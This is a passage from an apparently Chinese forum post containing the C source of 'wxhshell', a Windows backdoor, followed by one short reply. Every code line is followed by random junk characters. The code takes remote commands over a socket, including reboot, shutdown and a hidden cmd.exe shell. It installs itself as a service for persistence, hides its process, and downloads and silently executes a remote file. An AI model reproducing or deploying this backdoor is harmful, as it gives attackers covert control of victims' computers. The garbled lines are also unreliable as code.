  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *FS8]!Qg  
  } 6#=jF[  
  else { P*|N)S)X%  
q!Du J  
    switch(cmd[0]) { A~zn;  
  &qv~)ZM$  
  // 帮助 Y0LZbT3  
  case '?': { IkrB}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y-VDi.]W  
    break; s\*L5{kiSl  
  } 4>JSZ6i#n  
  // 安装 Kkvc Zs'4m  
  case 'i': { L 4By5)  
    if(Install()) <I+kB^Er  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); twT/uBQ4a  
    else -'rdN i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+hHEkJ  
    break; Z%t_1t  
    } Ltlp9 S  
  // 卸载 w:&" "'E  
  case 'r': { 2M %j-yG"  
    if(Uninstall()) W5*ldXXk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /x VHd  
    else l45/$G7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |23F@s1  
    break;  5NU{y+  
    } Ln"wj O ,  
  // 显示 wxhshell 所在路径 ;kFD769DLw  
  case 'p': { =|3BkmO  
    char svExeFile[MAX_PATH]; "J VIkC  
    strcpy(svExeFile,"\n\r"); m%'nk"p9  
      strcat(svExeFile,ExeFile); L9GLj Rp-  
        send(wsh,svExeFile,strlen(svExeFile),0); q+g,?;Yx  
    break; b--=GY))F  
    } F%OP,>zl  
  // 重启 Y(Q 0m|3P  
  case 'b': { >O'\ jp}$l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _~kw^!p>Kr  
    if(Boot(REBOOT)) 'Wlbh:=$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Nx}nOm  
    else { *PJH&g#Ge  
    closesocket(wsh); ZU4=&K  
    ExitThread(0); v"*r %nCi  
    } J_Lmy7~xbD  
    break; O-?rFNavxp  
    } IH|zNg{\Y  
  // 关机 TI>5g(:3\  
  case 'd': { mF4W4~"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5ggyk0  
    if(Boot(SHUTDOWN)) |v&)O)Jg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jo?LPR \6  
    else { VB |?S|<  
    closesocket(wsh); %hB-$nE  
    ExitThread(0); l.Q  
    } 3efOgP=L  
    break; ah>c)1DA*H  
    } B#K gU&Loo  
  // 获取shell -y`Pm8  
  case 's': { Z8v\>@?5R  
    CmdShell(wsh); c&['T+X  
    closesocket(wsh); c_/BS n  
    ExitThread(0); 5Rbl.5. A  
    break; FP@_V-  
  } |t,sK aL  
  // 退出 $BqiC!~  
  case 'x': { (tK_(gO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sh/ ,"b2!P  
    CloseIt(wsh); |G j.E  
    break; K #3^GB3P  
    } :1'  
  // 离开 L+t / E`  
  case 'q': { ]U?nYppV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }$ y.qqG  
    closesocket(wsh); *zrT;j G  
    WSACleanup(); m&)/>'W   
    exit(1); rH}|~  
    break; u[a-9^&g  
        } Nr|Gw @+  
  } eI8o#4nT  
  } * #yF`_p  
hf`y_H+\7  
  // 提示信息 WowKq0sn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `M@ESA (e  
} p=+Y7NE)  
  } xP8/1wd.  
0h-NT\m  
  return; gtKih  
} O,$*`RZpx  
fB2ILRc  
// shell模块句柄 ak7%  
int CmdShell(SOCKET sock)  \XDiw~0  
{ l\_!oa~  
STARTUPINFO si; ?1Nz ,Lc$  
ZeroMemory(&si,sizeof(si)); kQ\GVI11?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]TvMT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j.M]F/j  
PROCESS_INFORMATION ProcessInfo; 757&bH|a  
char cmdline[]="cmd"; l)r\SE1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y-pdAkDh  
  return 0; :zW? O#aL-  
} 01(U)F\  
[* xdILj  
// 自身启动模式 7F`\Gz_2  
int StartFromService(void) qlhc"}5x }  
{ FPc `J  
typedef struct ,='Ihi  
{ `zoHgn7B9q  
  DWORD ExitStatus; &A:&2sP8  
  DWORD PebBaseAddress; yQJ0",w3o.  
  DWORD AffinityMask; \`.v8C>vG  
  DWORD BasePriority;  |Iy;_8c  
  ULONG UniqueProcessId; Z~:)hwF  
  ULONG InheritedFromUniqueProcessId; xI,3(A.  
}   PROCESS_BASIC_INFORMATION; 2Z; !N37U  
XX=OyDLqP  
PROCNTQSIP NtQueryInformationProcess; 2)EqqX[D  
73qE!(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QL0q/S1*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'a(y]QG  
ximVh}'a  
  HANDLE             hProcess; 4s{=/,f  
  PROCESS_BASIC_INFORMATION pbi; {OG1' m6=/  
gs<~)&x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nJ2B*(S'v.  
  if(NULL == hInst ) return 0; m mF0RNE  
B9(w^l$kZ|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #( .G;e;w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4m~y%> &  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x(?Rm,  
E8C8kH]  
  if (!NtQueryInformationProcess) return 0; (XK,g;RoEn  
w,hm_aDq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GwO`@-}E  
  if(!hProcess) return 0; .1(_7!m@  
kTjn%Sn,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bAlty}U  
HOi~eX1d  
  CloseHandle(hProcess); %XR(K@V  
0MpW!|E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B9l~Y/3|  
if(hProcess==NULL) return 0; m{oe|UVcmr  
(~Z&U  
HMODULE hMod; [l=@b4Og  
char procName[255]; jd]L}%ax  
unsigned long cbNeeded; }a OBQsnO  
(o{Y;E@/y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A":=-$)  
^a qQw u  
  CloseHandle(hProcess); l#uF%;GDX  
uV|F 3'jT  
if(strstr(procName,"services")) return 1; // 以服务启动 5$ How!  
27}:f?2hbJ  
  return 0; // 注册表启动 ?* ~4~ZE E  
} (YJ2- X~  
+wG *qI  
// 主模块 M._h=wX{}  
int StartWxhshell(LPSTR lpCmdLine) t!4 (a0\$F  
{ hq4&<Zr(  
  SOCKET wsl; P%B|HnG^  
BOOL val=TRUE; mN-O{k0\  
  int port=0; FOD'&Yb&  
  struct sockaddr_in door; e"1mdw"  
^/%o I;O{  
  if(wscfg.ws_autoins) Install(); a<*+rGI  
'*[7O2\%/  
port=atoi(lpCmdLine); 5NkF_&S_1  
eP (*.  
if(port<=0) port=wscfg.ws_port; q AVypP?J  
8K^#$,.."  
  WSADATA data; xlcCL?qQj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -qpvVLR,  
HM(X8iNt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hxdjmc-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kM-8%a2i  
  door.sin_family = AF_INET; ^WU[+H ;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R;,5LS&*a  
  door.sin_port = htons(port); shGUG;  
_I)TO_L;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b73}|4v  
closesocket(wsl); q'fOlq  
return 1; RJ'za1@z;b  
} "r`2V-E  
c}v8j2{  
  if(listen(wsl,2) == INVALID_SOCKET) { Sj)?!  
closesocket(wsl); _G`Q2hf"5  
return 1; =Crl{Ax  
} *56j'FX  
  Wxhshell(wsl); J_a2DM6d  
  WSACleanup(); 51% Rk,/o  
*s, bz.[  
return 0;  Jj%xLv%  
F.(W`H*1+  
} QlVj#Jv;~  
3Ch42<  
// 以NT服务方式启动 rhYARr'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) },<Y \  
{ ZC$u8$+P  
DWORD   status = 0; n[BYBg1yG  
  DWORD   specificError = 0xfffffff; uJ|,-"~F  
5~>j98K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GQ85ykky  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E Id>%0s5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  "X=^MGV  
  serviceStatus.dwWin32ExitCode     = 0; fLRx{Nu  
  serviceStatus.dwServiceSpecificExitCode = 0; EWl9rF@I  
  serviceStatus.dwCheckPoint       = 0; ">B&dNrt  
  serviceStatus.dwWaitHint       = 0; s o: o b}  
}.u[';q ]S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gdAd7 T  
  if (hServiceStatusHandle==0) return; .R)Ho4CE  
jn]l!nm  
status = GetLastError(); WCaMPz  
  if (status!=NO_ERROR) 6wOj,}2Mn  
{ ui"`c%2n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1C=42ZZ&2  
    serviceStatus.dwCheckPoint       = 0; gjiS+N[  
    serviceStatus.dwWaitHint       = 0; EGRIhnED#  
    serviceStatus.dwWin32ExitCode     = status; @<OsTF L  
    serviceStatus.dwServiceSpecificExitCode = specificError; -0'< 7FSQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @6[aLF]F  
    return; aR)UHxvX  
  } M~X~2`fFH  
l"&iSq!3=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W`[7|8(6!  
  serviceStatus.dwCheckPoint       = 0; ?(khoL t  
  serviceStatus.dwWaitHint       = 0; ;p,Kq5,l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F)l1%F Cm  
} PTpfa*t  
"T8b.ng  
// 处理NT服务事件,比如:启动、停止 daB 5E<?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eMOp}.zt|  
{ _4{3^QZq5  
switch(fdwControl) i*xVD`x~  
{ C9Cl$yZ  
case SERVICE_CONTROL_STOP: x wfdJ(&  
  serviceStatus.dwWin32ExitCode = 0; 9e;{o,r@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O|v8.3[cT  
  serviceStatus.dwCheckPoint   = 0; lBG5~<NT  
  serviceStatus.dwWaitHint     = 0; E)'T;%  
  { uw>y*OLU+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mmC MsBfL  
  } X#W6;?Z\  
  return; B|>eKI  
case SERVICE_CONTROL_PAUSE: uYE"O UNWL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QVb{+`.7  
  break; BL0xSNE**  
case SERVICE_CONTROL_CONTINUE: kT^`j^Jr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ? _[ q{i{  
  break; H_iQR9Ak7  
case SERVICE_CONTROL_INTERROGATE: ?U:c\TA,m  
  break; j;_E0j#  
}; 1"l48NLL|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b^~4k; <  
} p%Ns f[1>  
wLq#,X>%B  
// 标准应用程序主函数 wG 5H^>6u>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [MAvU?;  
{ vA?3kfL|#  
}y|_v^  
// 获取操作系统版本 O/l/$pe  
OsIsNt=GetOsVer(); h?QGJ^#8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gE23C*!'&:  
H'@@%nO (  
  // 从命令行安装 "NV~lJS%  
  if(strpbrk(lpCmdLine,"iI")) Install(); f1\mE~#}  
Mf9x=K9  
  // 下载执行文件 w!UIz[ajI  
if(wscfg.ws_downexe) { pSx}:u^am  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |UQGZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fp+fZU  
} On;7  
9]S;%:64  
if(!OsIsNt) { 8[)"+IFN  
// 如果时win9x,隐藏进程并且设置为注册表启动 9*a"^  
HideProc(); oC TSV  
StartWxhshell(lpCmdLine); BS?rKtdm(  
} _:XX+ 3W7  
else gp\o|igT  
  if(StartFromService()) $B )jSxSy  
  // 以服务方式启动 GS GaYq  
  StartServiceCtrlDispatcher(DispatchTable); aqP"Y9l  
else s8*Q@0  
  // 普通方式启动 >Qf`xUZ  
  StartWxhshell(lpCmdLine); #%/0a  
'V4B{n7 h  
return 0; qwuA[QkPi  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八